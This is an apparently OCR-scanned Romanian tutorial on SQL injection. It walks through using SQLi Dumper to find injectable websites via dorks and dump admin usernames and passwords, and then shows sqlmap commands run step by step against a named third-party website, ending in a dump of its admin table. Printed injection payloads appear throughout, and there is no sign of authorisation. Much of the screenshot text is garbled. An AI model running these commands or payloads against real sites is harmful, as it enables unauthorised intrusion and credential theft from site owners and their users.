SQLi Dumper 8.2
Dupa ce pornim programa observam urmatoarea interfatd. Primul pas este sd introducem
“Jlopkn” (partea stingd) si alegem saiturile de cautare (partea dreapta). “/lopku” le
putem gasi pe internet sau sa le creem singuri cu programe ajutatoare. (fig. 10)
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e Al doilea pas facem scanarea apasind Start Scanner (fig. 11)
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e Dupa ce se termina scanarea facem click pe Injectables (fig. 12)
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e Deci observam ca au fost gasite 12 saituri infectabile (fig. 13)
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Alegem un site sau putem sa le alegem pe toate si punem bife pentru a gasi vulnerabilitati

ca: admin,email,password dupa care apasam Start . (fig. 14)
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Dupa ce apasam pe Start va aparea o asa fereatra care va indica ce vulnerabilitati are baza
de date a situ-lui. Dupa care facem click pe site si alegem Go To Dumper -> New

Dumper Instance (fig. 15)
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e Astfel cu ajutorul programei incorporate putem afla toatd informatia despre sait. Cu
ajutotul informatiei din fereastra anterioara noi alegem admin_users dupa care facem
click pe Get Columns (fig. 16)
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e Astfel noi obtinem ce cimpuri contine tabelul admin_users . Dupa informatia primita
bifam cimpuri cu informatia necesara si facem click pe Dump Data. Dupa care putem

observa rezultatul. (fig. 17)
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Observam ca username si parola sunt corecte. (fig. 18)
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Sqglmap
Pornim sistemul de operare kali linux, apoi deschidem terminalul,

Dup ce alegem tinta, introducem urmatoarea comanda in terminal:
o sqlmap —u http://www.bible-history.com/subcat.php?id=2 --dbs
-u —semnifica ca urmeaza o adresa url

--dbs — semnifica ca avem nevoie de baza de date

http://wei . Bible-Ristory. comn/subcat. phplidsd --dbs

hout prior mutual con
iability oand are not

WHERE or HAVING

clause (FLODR
ELECT {ELT({45 s7:110)s 17860607 1, FILOOR [ RA

-based blind

Dupa cum se observa, aplicatia in timp ce ruleaza testele, afiseaza informatia
despre testul ce se ruleaza si unele informatii care ar putea fi utile pentru utilizator.
In cazul dat, se vede ca aplicatia este vulnerabild si la atac corss-site scripting.

Dupa finisarea scanarii avem urmatorul rezultat:



rootfkali: - - -]

Fie Edt View Search Terminal belp

sqlmag 1 ed the ng injection peint{s) from stored session:

557,110 ), 0xT178606071 , FLOOR[RAND{8)*2 ) }x FROM INFORMATI

= De asemenea, aplicatia afiseaza informatia despre atacul savarsit, care a fost parametrul
injectat, tipul atacului, titlul si payload-ul utilizat, rezultatul atacului, denumirile bazelor
de date prezente in aplicatia data

= (Carezultat poate fi solicitata afigsarea unei baze de date sau poate fi determinat tabelul si
coloana care contine informatia despre utilizatori sau despre administrator etc.

2. Analizam rezultatul obtinut si selectam baza de date dorita pentru explorare, alegem keywords

indroducind urmatoarea comanda(1):



root@kall: - e @0

File: Edit View Search Terminal Help

le databases [5]:
*] bible glossary

down_at 12:31:45

-u htt wel.bible-history.com/subcat.php?id=2 -D k

starting at 12:36:01

gqlmap resumed the following injection pointis) from stored sassion:

: 1d (GET)
: boolean-bas
. WHERE or HAVING clause

--tables — smnifica ca vom acesa tabela
Am obtinut rezulatatul de mai jos. Observam ca am gasit 3 tabel, in continuare introducem comanda (2)
pentru a accesa tabela -T si afisam toate coloanele introducind la final --colums



rootidhkall. - e e 4

Filg Edit View Search  Terminal Help

ry (NULL) - 1 ¢
SELECT COMCAT (G717 B B 453414657

ts without prior mutual consent 15 1llegal. It 1% the end user's re cibility to obey all

Observa ca in tabela selectata avem 5 coloane, pentru a accesa aceste coloane introducem comanda
respectiva(3)

-C — coloanele.

al



Film:  Et Ve C armina  Help

Title: Generic UNION guery (NULL) - 1 colomn

Payload: id=2 UNION ALL SELECT CONCAT(8x717ATATET1,0x524cdbbaTIT4534F46574e5869596d051766167556268405663T05273546eT25060537450943797adc, Bx717060607]1
-~ Arla

12:38:20] [INFO] the back-end DBMS is MySQL
ab application technology: Apache 2.4.25, PHP 5.5.38
ack-gnd DEMS: MySQOL == 5.8

atabase: keywords
= adnin
5 columns]

Column Type

user varchar{255)
email varchar{255)
id int{1l)

pass varchar(235)
rsttperpg | int{ll)

*] shutting down at 12:38;28

# zqlmap -u http:/fwew.bible-history.comfsubcat.php?id=2 -0 keywords -T admin -C wser.email.pass --dump

httpafS ;-:|'_|' af . arg

] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent 15 1llegal. It 1is the end user’'s responsibility to obey all a
plicable Local, state and federal laws. Developers assume no liabilify and are mot responsible for any nisuse or damage caused by this program

*] starting at 12:39:27

In final putem observa careva informatii la care de regula nu ar trebui sa avem acces:

rootifkali: =
File  Edit

Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2 AND 5381=5381

Type: error-based

Title: MySOL >= 5.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLODR)

Payload: id=2 AND (SELECT 4557 FROM(SELECT COUNT(*),CONCAT(Bx7178707671, (SELECT (ELT(4557=4557,1))]).6x71706b6071,FLOOR(RAND (8)*2) )= FROM INFORMATI
SCHEMA . PLUGINS GROUP BY x)a)

Type: AND/OR time-based blind
Title: MySOL == 5.6.12 AND time-based blind
Payload: id=2 AND SLEEP(5)

Type: UNIOM query

Title: Generic UNION guery (NULL) - 1 column

Payload: id=2 UNION ALL SELECT CONCAT(@xT178787671,0x524c4bB473T4534746574e5860506d51T06167556268495663705273546e72596c53745943797adc,0x71706b6071
Arlm

[12:39:28] [INFO] the back-end DBMS is MySOL
wh applica v technology: Apache 2,.4,25, PHP 5.5.38
ack-and DBEMS: MySQL >« 5.8

latabase: keywords
blss-—udmin

[*] shutting down at 12:39:

el A |




